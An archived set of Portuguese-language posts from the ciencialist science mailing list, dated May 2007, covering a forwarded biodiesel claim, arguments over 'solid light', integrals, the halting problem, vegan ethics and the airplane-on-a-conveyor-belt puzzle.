Entretanto, o prof. Parente e o Sr. Ingo Müller já anteviam naquela época que o Biodiesel e o Bioquerosene, seriam os combustíveis do futuro, tanto por ser de fonte renovável, quanto pelos benefícios ao meio ambiente que trariam e também porque os preços se tornariam acessíveis pelo aumento do preço do petróleo, à medida que fosse escasseando.

Assim, justiça seja feita a esses valorosos brasileiros, e desmascare-se LULA e seu PT que a si arrogam a paternidade dessa importante descoberta.

MEU DEPOIMENTO :
ISTO TUDO É VERDADE !!!!
NA EMBRATEL, COMO ENGENHEIRO CHEFE DA DIVISÃO DE ENERGIA DA ÁREA DE DESENVOLVIMENTO, DE 1981 A 1987, TIVE OPORTUNIDADE, JÁ NAQUELA ÉPOCA, DE FAZER EXPERIMENTAÇÕES, COM SUCESSO, NÃO SÓ DO ÓLEO VEGETAL (EXTRAIDO DO BABAÇU E DE OUTROS FRUTOS) COMO TAMBÉM DO APROVEITAMENTO DA ENERGIA DO SOL E DOS VENTOS, TUDO DENTRO DE UM PROJETO INTITULADO "FONTES ALTERNATIVAS DE ENERGIA".
NA ÉPOCA, AS INDÚSTRIAS VOLTADAS PARA ESTE SEGMENTO, APESAR DE ESTUDAREM AQUELES PROJETOS DE FORMA QUASE "ACADÊMICA", NÃO DEMONSTRARAM O DEVIDO INTERESSE PARA DAR PROSSEGUIMENTO AOS MESMOS EM ESCALA INDUSTRIAL .
ISTO PODERÁ ACONTECER AGORA, TAMBÉM .
DAQUI A POUCO O LULA VAI FALAR EM ENERGIA SOLAR A NO APROVEITAMENTO EÓLICO (VENTOS) COMO SE FOSSE DESCOBERTA DO SEU GOVERNO.
ANTONIO DE SOUZA RODRIGUES


































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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: A verdadeira foto do Takata
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 11:28

Estou precisando de uma veterinária psicóloga. Vira e mexe meus genes hereditários mais primitivos me faz ter sonhos de chipanzés ... levanto-me e como uma banana!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 20 de maio de 2007 21:03
Assunto: [ciencialist] Re: A verdadeira foto do Takata


--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Oh, Manu, o querido Takata não é um computador, é apenas tímido que
> tem "problemas" com a própria aparência o que seria útil se
> utilizasse a neurolínguistica para acabar com isso!

Veterinária q ataca de psicóloga... Deve ser exercício ilegal de
profissão ou vai ver q ela acha q sou um cão. Bem pra quem não sabe a
diferença entre 200 vacas e 1 homem não é algo absurdo.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 11:32

Ferrari, please, de-me um exemplo de partícula. Meu carro é uma partícula? Um grão de areia é uma partícula?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 20 de maio de 2007 21:14
Assunto: [ciencialist] Re: ABC da CIENCIA


Olá Ferrari, seu irrecuperável! :)

Gostaria só de convidá-lo a refletir sobre algumas de suas afirmações.
Vou destacá-las abaixo e comentar em seguida:

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Zé!
>
> No caso da
> fisica, está presente na questão do espaço cheio
> (particula) e do espaço vazio. Entender a natureza, é,
> inevitavelmente, entender a cognição.

Ferrari, nada consta sobre ser a partícula "um espaço cheio". E eu lhe
perguntaria mais: cheio de quê?

Partícula é uma idealização que fazemos de algo ainda mais abstrato: a
matéria. Não há nenhum paralelo entre o seu conceito de "cheio" e o
conceito de "partícula". Esse é mais um dos seus chutes absurdos por
absoluta preguiça de se informar adequadamente.

[ ... ]


SUBJECT: Re: [ciencialist] Descoberto estado sólido da luz
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 11:40

Que é que o radiômetro de Crookes tem a ver com essa de 'estado sólido da luz'?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 20 de maio de 2007 23:01
Assunto: [ciencialist] Descoberto estado sólido da luz


Há uma ampola em vácuo, com 4 placas disposta na horizontal como um pião
sensível, de um lado é polida e do outro preta. Incidindo luz nela, com uma
lâmpada de 60 watts próxima a uns 50cm, o pião de placas começa a se mover,
rodando, como se o lado polido - que reflete os fótons - promovesse uma
força de impulso maior do que o lado pintado de preto que "absorve" o fóton.
[]s
JR
...........................................
>
> ----- Original Message -----
> From: "oraculo333" <oraculo@atibaia.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 14, 2007 2:28 PM
> Subject: [ciencialist] Descoberto estado sólido da luz
>
>
> Olá
>
> Será que enfim poderemos comprar um sabre de luz Jedi de Star Wars?..:-)
>
> Um abraço.
>
> Homero
> __________________________________________
> Descoberto estado sólido da luz
>
> Pesquisadores das universidades de Melbourne, Austrália, e Cambridge,
> Inglaterra, desenvolveram uma nova teoria que mostra que a luz pode se
> comportar como um sólido. "A luz sólida irá nos ajudar a construir a
> tecnologia deste século," diz o Dr. Andrew Greentree.
>
> Ao invés de utilizar as ferramentas tradicionais encontradas nos
> laboratórios de óptica, os cientistas tiveram que empregar técnicas
> comumente utilizadas para estud
> ar a matéria.
>
> Luz sólida
>
> "Fótons de luz sólidos repelem-se mutuamente como acontece com os
> elétrons. Isto significa que nós podemos controlar os fótons, abrindo
> as portas para novos tipos de computadores mais rápidos," diz o cientista.
>
> No trabalho , os cientistas demonstram teoricamente como projetar a
> "transição de fase" dos fótons, fazendo-os passar do comportamento de
> sólido - quando eles interagem entre si como os elétrons - para o
> comportamento de onda tradicional da luz - na qual os fótons não
> interagem entre si.
>
> "Normalmente os fótons fluem livremente mas, nas condições corretas,
> eles se repelem, e formam um cristal," diz Greentree.
>
> A nova teoria cria um campo totalmente novo de pesquisa, fazendo uma
> interseção entre a óptica e a física da matéria condensada. Agora, os
> pesquisadores experimentalistas vão começar a estudar a nova teoria
> para descobrir formas de testá-la na prática.
>
> http://tecnocientista.info/noticia_detalhe.asp?cod=5488
>
>
>
>
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> Para alterar a categoria classificada, visite
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>
> Esta mensagem foi verificada pelo E-mail Protegido Terra.
> Scan engine: McAfee VirusScan / Atualizado em 14/05/2007 / Versão:
> 5.1.00/5030
> Proteja o seu e-mail Terra: http://mail.terra.com.br/
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>
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SUBJECT: Fw: [ciencialist] Descoberto estado sólido da luz
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 11:59

Reenviando...

----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, May 20, 2007 11:01 PM
Subject: [ciencialist] Descoberto estado sólido da luz


> Há uma ampola em vácuo, com 4 placas disposta na horizontal como um pião
> sensível, de um lado é polida e do outro preta. Incidindo luz nela, com
> uma
> lâmpada de 60 watts próxima a uns 50cm, o pião de placas começa a se
> mover,
> rodando, como se o lado polido - que reflete os fótons - promovesse uma
> força de impulso maior do que o lado pintado de preto que "absorve" o
> fóton.
> []s
> JR
> ...........................................
>>
>> ----- Original Message -----
>> From: "oraculo333" <oraculo@atibaia.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Monday, May 14, 2007 2:28 PM
>> Subject: [ciencialist] Descoberto estado sólido da luz
>>
>>
>> Olá
>>
>> Será que enfim poderemos comprar um sabre de luz Jedi de Star Wars?..:-)
>>
>> Um abraço.
>>
>> Homero
>> __________________________________________
>> Descoberto estado sólido da luz
>>
>> Pesquisadores das universidades de Melbourne, Austrália, e Cambridge,
>> Inglaterra, desenvolveram uma nova teoria que mostra que a luz pode se
>> comportar como um sólido. "A luz sólida irá nos ajudar a construir a
>> tecnologia deste século," diz o Dr. Andrew Greentree.
>>
>> Ao invés de utilizar as ferramentas tradicionais encontradas nos
>> laboratórios de óptica, os cientistas tiveram que empregar técnicas
>> comumente utilizadas para estud
>> ar a matéria.
>>
>> Luz sólida
>>
>> "Fótons de luz sólidos repelem-se mutuamente como acontece com os
>> elétrons. Isto significa que nós podemos controlar os fótons, abrindo
>> as portas para novos tipos de computadores mais rápidos," diz o
>> cientista.
>>
>> No trabalho , os cientistas demonstram teoricamente como projetar a
>> "transição de fase" dos fótons, fazendo-os passar do comportamento de
>> sólido - quando eles interagem entre si como os elétrons - para o
>> comportamento de onda tradicional da luz - na qual os fótons não
>> interagem entre si.
>>
>> "Normalmente os fótons fluem livremente mas, nas condições corretas,
>> eles se repelem, e formam um cristal," diz Greentree.
>>
>> A nova teoria cria um campo totalmente novo de pesquisa, fazendo uma
>> interseção entre a óptica e a física da matéria condensada. Agora, os
>> pesquisadores experimentalistas vão começar a estudar a nova teoria
>> para descobrir formas de testá-la na prática.
>>
>> http://tecnocientista.info/noticia_detalhe.asp?cod=5488
>>
>>
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>> 15:50
>>
>>
>



SUBJECT: Re: [ciencialist] Fw: Assuntos de Física envolvendo Integrais.
FROM: Emanuel Valente <emanuelvalente@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 12:01

Olá, não curso ensino superior, mas tenho idéia de integral.
Você poderá aplicar integrais em assuntos simples da física como cálculo
de trabalho com a força variando, através do cálculo da área do gráfico
ForçaXDeslocamento. A mesma coisa acontece com o impulso através do
gráfico ForçaXTempo, na qual a intensidade da força é variável.

Espero ter ajudado,
[]´s
Emanuel Valente.

Luiz Ferraz Netto escreveu:
>
> Aceito sugestões para esse seminário. Por que seminário? Não poderia
> ser um 'nário' inteiro?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> <http://www.feiradeciencias.com.br/doacoes.asp>
> ===========================
> -----Mensagem Original-----
> De: "Tesseu Brandão" <tesseucarvalho@hotmail.com
> <mailto:tesseucarvalho%40hotmail.com>>
> Para: <leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>>
> Enviada em: sexta-feira, 18 de maio de 2007 10:47
> Assunto: Assuntos de Física envolvendo Integrais.
>
> | Olá Professor Barretos, meu nome é Tesseu, estou cursando o quarto
> período
> | de matemática, e nosso professor de cálculo passou um trabalho, que na
> | verdade é um seminário, tendo como seguinte tema: '' A aplicação da
> integral
> | no dia-a-dia''. Eu quero apresentar este tema na física, e gostaria, se
> | possivel, que o senho possa me passar por e-mail alguns conteúdos que
> | ultilizem a integral, sendo de física, ficarei muito grato.
> |
>
> _



SUBJECT: Res: [ciencialist] Fw: Ajuda em um projeto
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 12:05

http://www.electronicsworkbench.com/

vá na versão acadêmica.
palpite: monte um contador digital com displays de sete segmentos,
em cima de um protoboard, usa decodificadores, portas lógicas,
oscilador 555, daí vc pode implementar outras utilidades,
trocando o resistor que regula o tempo do oscilador por um
potenciômetro, ou botar um "sensor" no lugar do pulso de clock
e vira um contador de passagem... fica bacana e não
é muito difícil nem caro (bom... o protboard é meio caro, mas
deve ter um na escola pra vc pegar emprestado)

[]s

Eurico


_\|/_

----- Mensagem original ----
De: Luiz Ferraz Netto <leobarretos@uol.com.br>
Para: ciencialist <ciencialist@yahoogrupos.com.br>
Enviadas: Segunda-feira, 21 de Maio de 2007 8:11:30
Assunto: [ciencialist] Fw: Ajuda em um projeto













Cadê meus assessores digitais?

[]'

============ ========= ======

Luiz Ferraz Netto [Léo]

leobarretos@ uol.com.br

http://www.feiradec iencias.com. br/doacoes. asp

============ ========= ======

-----Mensagem Original---- -

De: Héber Ferreira

Para: leobarretos@ uol.com.br

Enviada em: sexta-feira, 18 de maio de 2007 10:43

Assunto: Ajuda em um projeto



Caro Prof. Luiz Ferraz Netto,



Estive visitando seu site www.feiradeciencias .com.br , pois estava prescisando de um apoio na criação de um projeto ... Estou fazendo o curso de Sistemas de Informação em Brasília ... e na matéria Lógica Matemática e Digital, nos foi passado um projeto, porém pra mim esta sendo muito complicado, ainda não tenho nem uma idéia por onde começar, então gostaria de saber se o senhor pudesse me dar algumas informações, se poderia me passar um e-mail teu para que eu possa te mandar o projeto para uma possível análise .... meu e-mail pessoal é heber_fab@hotmail. com - fico esperando uma possível retorno .












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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: (Para Joao) [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 12:09

--- Joao de Carvalho <joaobncarvalho@hotmail.com>
escreveu:

> Olá, Chicao.
>
> > Um efeito que vêm antes da causa ou uma função de
> > utilidade baseado em alguma informação certa
> > do futuro ??
> > Aquele eu só vi nos resultados de Godel para a
> > cosmologia(enviei um link a pouco).
>
> Não entendi essa função de utilidade.

A da Economia.


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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conforme as normas da empresa e a legislação em vigor. Agradecemos sua
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SUBJECT: Re: [ciencialist] Re: (Para Takata) - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARB
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 12:11

"Trava" no problema da parada.

--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Chicao
> Valadares
> > De fato, todo computador trava e nem todo homem
> trava.
>
> Não sei se algum ser humano não trava.
>
> []s,
>
> Roberto Takata
>
>


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O que há é pouca gente para dar por isso... "
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SUBJECT: Res: [ciencialist] Fw: Assuntos de Física envolvendo Integrais.
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 12:19

[E]> não cheguei nas integrais ainda, mas
do livro do James Stewart de Cálculo

.áreas entre curvas
.volumes
.cálculo de volume por cascas cilíndricas
.trabalho
.valor médio de uma função
comprimento de arco
.área de uma superfície de revolução
.rotação ao redor de uma reta inclinada
.pressão hidrostática e força
.movimentos e centros de massa
.circulação sanguínea
.capacidade cardíaca
.probabilidade

.

_\|/_

----- Mensagem original ----
De: Emanuel Valente <emanuelvalente@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Segunda-feira, 21 de Maio de 2007 12:01:40
Assunto: Re: [ciencialist] Fw: Assuntos de Física envolvendo Integrais.













Olá, não curso ensino superior, mas tenho idéia de integral.

Você poderá aplicar integrais em assuntos simples da física como cálculo

de trabalho com a força variando, através do cálculo da área do gráfico

ForçaXDeslocamento. A mesma coisa acontece com o impulso através do

gráfico ForçaXTempo, na qual a intensidade da força é variável.



Espero ter ajudado,

[]´s

Emanuel Valente.



Luiz Ferraz Netto escreveu:

>

> Aceito sugestões para esse seminário. Por que seminário? Não poderia

> ser um 'nário' inteiro?

>

> []'

> ============ ========= ======

> Luiz Ferraz Netto [Léo]

> leobarretos@ uol.com.br <mailto:leobarretos %40uol.com. br>

> http://www.feiradec iencias.com. br/doacoes. asp

> <http://www.feiradec iencias.com. br/doacoes. asp>

> ============ ========= ======

> -----Mensagem Original---- -

> De: "Tesseu Brandão" <tesseucarvalho@ hotmail.com

> <mailto:tesseucarva lho%40hotmail. com>>

> Para: <leobarretos@ uol.com.br <mailto:leobarretos %40uol.com. br>>

> Enviada em: sexta-feira, 18 de maio de 2007 10:47

> Assunto: Assuntos de Física envolvendo Integrais.

>

> | Olá Professor Barretos, meu nome é Tesseu, estou cursando o quarto

> período

> | de matemática, e nosso professor de cálculo passou um trabalho, que na

> | verdade é um seminário, tendo como seguinte tema: '' A aplicação da

> integral

> | no dia-a-dia''. Eu quero apresentar este tema na física, e gostaria, se

> | possivel, que o senho possa me passar por e-mail alguns conteúdos que

> | ultilizem a integral, sendo de física, ficarei muito grato.

> |

>

> _














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SUBJECT: Re: [ciencialist] (Para Homero) - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 12:23

Ahh tah....Se eu dissesse que esse livro foi escrito
por um macaco porque você não acreditaria a priori ?

O que eu quero dizer é que o macaco não é tão
inteligente quanto o homem. E essa diferença pode se
expressar na capacidade de se escrever livros como o
de Manuel. Serve como um teste de separação entre
macacos e homens. Mas é claro que o macaco possui
outras habilidades que exigem inteligência mostrando
sua não ignorância.
Essa comparação com a inteligência do homem é a
essência do teste de Turing.




--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá Manuel
>
> Manuel: "Esse Manuel escritor ao qual o Oráculo se
> referiu sou eu, ou
> > qualquer outro zé de manel escrevinhador? :-)"
>
> He, he, he..:-) Eu estava me referindo a você mesmo,
> e usando seu
> livro como exemplo de inteligência, ainda que não o
> único exemplo ou
> evidência que podemos encontrar em seres vivos.
>
> Ou seja, seu livro indica claramente que você é
> inteligente (e um
> bocado inteligente), mas um chimpanzé não conseguir
> escrever um livro
> não implica que ele não seja.
>
> Um abraço.
>
> Homero
>
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 13:02

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> E ai, doeu admitir?

Admitir o q? Q vc é enrolão? Não, não doeu. Q vc não sabe o q
significa E = m.c2? Tb não.

Fico no aguardo da sua resolução do exercício de aplicação da fórmula.
http://br.groups.yahoo.com/group/ciencialist/message/63164

[]s,

Roberto Takata



SUBJECT: P/ Bruna - Re: A verdadeira foto do Takata
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 13:03

Olá Bruna

Bruna: "Ele é tão desimportante .."

Pelo contrário, é uma questão importantíssima, pois se você estiver
encarregada da segurança das pessoas, em uma situação de emergência,
precisamos saber se dará prioridade a salvar as 200 vacas e deixará um
único homem (eu por exemplo..:-) morrer. Afinal, são 200 "vidas"
contra uma única vida.

Se você estiver em um incêndio e tiver a oportunidade de salvar uma
criança ou 200 vacas, o que escolheria, Bruna?

É fundamental, para saber sua honestidade em relação ao que propõe,
essa resposta (embora eu saiba sem muita dúvida, que você salvaria uma
criança, uma pessoa e até mesmo eu ou o Takata, no lugar de 200 vacas,
só precisamos que diga isso para continuar o raciocínio..:-).

Um abraço.

Homero





SUBJECT: Fw: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 13:07

Olá Jose Renato

Renato: "Não é a forma de tração "tudo o que importa aqui". O detalhe
principal é a forma como é medida a velocidade do avião: GPS; tubo
Pitot, através da velocidade do ar; odômetro mecânico ou fotométrico..."

Não, não é. Está errado, enganado e é profundamente teimoso em
admitir..:-) Mas eu desisti, tente com outros co-listeiros mais
pacientes e dispostos a, tentar, explicar para você seu erro.

Não importa como "se mede" a velocidade do avião, se este se mover em
relação ao ar em determinada velocidade, ele se move, e se sua tração
é independente da esteira, ele a atingirá.

A esta altura tudo isso deveria ser evidente e claro.

Homero




SUBJECT: Re: P/ Leo - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARB
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 13:11


Olá Leo

Leo: "Não existe tal paradoxo. Num mundo onde existe 'força
irresistível' não pode haver 'obstáculo irremovível'. Pela própria
definição de 'força irresistível'. Veja I. Asimov!"

Eu sei, está correto. O que eu acho que o Chicão apresentou, e foi por
isso que usei este paradoxo, é que ao ser apresentado a uma colocação
paradoxal, logicamente paradoxal, um computador "travaria" ao não
conseguir lidar com ela (não ao ser apresentado ao caso concreto, que
evidentemente não existe).

Um abraço.

Homero




SUBJECT: Re: A verdadeira foto do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 13:19

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Por que seu pensamento é superior?Simplesmente porque representa a
> mentalidade da sociedade vigente?Quem pode julgar isso?

Vc quis julgar, acho q posso julgar tb. Não é meu pensamento q é
superior e a ética q eu aceito (superior à sua ética).

A - Vc salvaria 200 vacas e deixaria um ser humano morrer.
B - Vc salvaria 3 vacas e deixaria um garoto morrer.
C - Vc salvaria 3 frangos e deixaria uma grávida morrer.

1 - Eu salvaria um ser humano no lugar de 200 vacas.
2 - Eu salvaria o garoto no lugar de 3 vacas.
3 - Eu salvaria a mulher grávida no lugar dos 3 frangos.

Claro q vc considera sua ética superior na medida em q condena
eticamente quem se alimenta de animais não-humanos. Entre uma ética q
proíbe comer carne, mas defende q as situações de A a C possam ocorrer
e uma ética q permite comer carne, mas defende q ocorram as situações
1 a 3; o segundo sistema é superior.

> Lhe fiz uma ironia sbre sua própria aparência e venho pedir
> desculpas por isso, por invadir sua privacidade pois que fui mal
> compreendida, eu sei bem o que significa etologia e psicologia e
> sobre etologia e a diferença para Behavorismo, que parece que vc aí
> confundiu.

Menos mal q tenha pedido desculpas, embora o trecho abaixo dê pintas
de q não é sincera.

Ninguém mencionou behaviorismo.

> Porém, tenho que novamente pedir excusas a lista pois que apenas um
> diploma universitário nos permite discutir assuntos referentes ao
> "diploma" que temos...

Discutir vc pode discutir à vontade sobre praticamente qq coisa. Dar
diagnóstico em área regulamentada ao qual vc não está habilitada é
exercício ilegal de profissão.

> Porém, eu me furto a responder sua pergunta porque não estou aqui
> para impor meu pensamento para a lista, assim como não vou discutir
> na lista o certo e o errado.

Menos mal q resolveu parar de querer impor a sua visão vegan.

> Honestamente, e respeitosamente falando, querido Takata, vc parece
> querer impor apenas para "ganhar a discussão"...isso não é algo que
> me interessa.

Não impus coisa alguma. Sobre o exercício ilegal de psicologia, está
na lei. Sobre vegetarianismo e onivorismo, não há nenhuma imposição
sobre os vegetarianos - querem ser vegetarianos? Ótimo, q sejam
felizes, q tomem cuidados para a complementação da dieta. Mas a minha
visão tb é: querem ser onívoros? Tb ótimo, q sejam felizes e q tomem
cuidados para balancearem bem a dieta.

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 13:32

Co-listeiros, peço desculpas por prolongar ainda mais esta discussão (nem eu
agüento mais), mas... José Renato, vc se importaria de mostrar uma situação
onde a forma de medida da velocidade do avião altera o resultado deste
problema? Mas, por favor, não se esqueça, de maneira nenhuma, de considerar
um e apenas um referencial válido (referencial no avião e na esteira
invalidam o problema, como já concluímos), para as velocidades medidas.

No aguardo...

Um abraço,

Ricardo

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: domingo, 20 de maio de 2007 23:03
Para: ciencialist@yahoogrupos.com.br
Assunto: Fw: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada

Caro, Homero!

Não é a forma de tração "tudo o que importa aqui". O detalhe principal é a
forma como é medida a velocidade do avião: GPS; tubo Pitot, através da
velocidade do ar; odômetro mecânico ou fotométrico...

Abraços

José Renato




SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 13:45

E se for um hidro-avião?
Muito bem colocado, Victor! Mais um exemplo para tentar destravar os
neurônios.
O rio em movimento tem uma velocidade de correnteza. Normalmente essa
velocidade não irá variar juntamente com avião, como ocorre com a esteira,
mas dá uma visão típica do problema. Veja esclarecimentos abaixo...
...........................................

----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 21, 2007 6:32 AM
Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada


E se for um hidro-avião?

Ele levantaria vôo:

1 - se tenta a favor da correnteza?
JR - Já teria uma velocidade inicial dada pela correnteza do rio.

2- se tenta contra a correnteza?
JR - Aqui temos exatamente o esquema do problema do avião sobre a esteira,
que se deslocam *na mesma velocidade* em sentidos contrários. Imaginemos que
em vez de esteira temos água onde o hidroavião está pousado. Imaginemos que
essa água se desloca na mesma velocidade que o avião adquire quando aciona
os motores ou turbinas. Se os motores estiverem desligados a corrente
carregará o avião rio abaixo na velocidade da correnteza. Se acionar os
motores o hidroavião passa a se deslocar rio acima, em sentido contrário à
correnteza. Agora pense... O que ocorrerá quando o hidroavião alcançar a
mesma velocidade da correnteza? Essa constatação é verdadeirá para qualquer
que seja a velocidade alcançada pelo hidroavião e rio.

Sds,
Victor?

Abraços
José Renato
........................................................

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: domingo, 20 de maio de 2007 23:03
Para: ciencialist@yahoogrupos.com.br
Assunto: Fw: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
entendendo nada



Caro, Homero!

Não é a forma de tração "tudo o que importa aqui". O detalhe principal é a
forma como é medida a velocidade do avião: GPS; tubo Pitot, através da
velocidade do ar; odômetro mecânico ou fotométrico...

Abraços

José Renato
...........................................
> ----- Original Message -----
> From: "Oraculo" <oraculo@atibaia.com.br <mailto:oraculo%40atibaia.com.br>
>
> To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
> Sent: Thursday, May 10, 2007 3:58 PM
> Subject: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
> entendendo nada
>
>
> OLá Jose Renato
>
> Renato: "JR - Não são, não, Homero! Até o avião se separar da pista, ele
> roda como um
> carro ou moto movidos a turbinas."
>
> NÃO, NÃO E NÃO, MILHARES DE VEZES NÃO..:-) Isso é um erro "crasso" de
> física, e é isso que o impede de enxergar seu erro desde o começo. Um
> avião NUNCA se move da mesma forma que um carro, pois sua tração, que é
> tudo que importa aqui, É FEITA PELAS TURBINAS e não pelas rodas!
>
> O avião nunca se move pelas rodas, nunca! Coloque o avião na esteira de
> testes de automóveis de uma fábrica, ligue as turbians, e ele sai voando
> pela sala (é perigoso, mas parece que é a única forma de você entender
> isso..:-). Coloque um carro, e ele fica no lugar, com a esteira
> compensando a TRAÇÃO das rodas.
>
> Não há como a esteira compensar o EMPUXO das turbinas ou hélices.
>
> E tem razão, eu desisto..:-) Isso é o mesmo que tentar convencer você que
> deus não existe, é uma questão de fé.
>
> Homero
>
>
>
> ----- Original Message -----
> From: José Renato
> To: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
> Sent: Thursday, May 10, 2007 12:13 AM
> Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
>
>
> Olá, Homero! Tenha calma, pense e apresente seus comentários,
> mas não perca a compostura. Faço comentários no texto abaixo,
> após JR -, OK?
> ...........................................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
> Sent: Monday, May 07, 2007 12:51 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo
> nada
>
> PQP..:-)
> JR - É importante manter o controle...
>
> Me desculpem a expressão, mas é a única que pode exprimir corretamente
> meu espanto..:-)
> JR - Pensei que vc tinha desistido...
>
> Quanto penso que alguém vai conseguir finalmente explicar o erro a
> você, Renato, tenho de ler, de novo, outro exemplo sem sentido, onde
> seu engano é novamente repetido:
> JR - Não é não, Homero! No exemplo fica claro - para quem avalia - a
> relação
> entre o móvel-motocicleta e o chão-globo que se desloca sob elas. Em
> geral,
> o espetáculo é feito com a estrutura do globo fixa, sem movimento de
> rotação
> que eu inseri no exemplo para torná-lo semelhante ao do problema
> esteira-avião.
>
> Renato: "Vc já viu o espetáculo circense chamado de Globo da Morte,
> onde motociclistas se movimentam simultaneamente dentro de uma
> estrutura esférica? Pense uma estrutura dessas girando em seu eixo
> fixo ao chão, e um motociclista se deslocando na linha do "equador" na
> mesma velocidade angular, mas em sentido contrário. Ele consegue fazer
> isso? Qual é o referencial?"
>
> Quosque tandem abutere patienta nostra, Renato?..:-) Seu exemplo é um
> "exemplo" CLARO de seu erro, pois se baseia no "senso comum" a
> respeito de movimento! SE são motos movidas pela tração nas rodas, é
> uma coisa, se são motos MOVIDAS POR HÉLICES OU JATOS, é outra!!!
> JR - Não são, não, Homero! Até o avião se separar da pista, ele roda como
> um
> carro ou moto movidos a turbinas.
>
> Colocando de forma mais clara, motos que se movem por jatos de ar
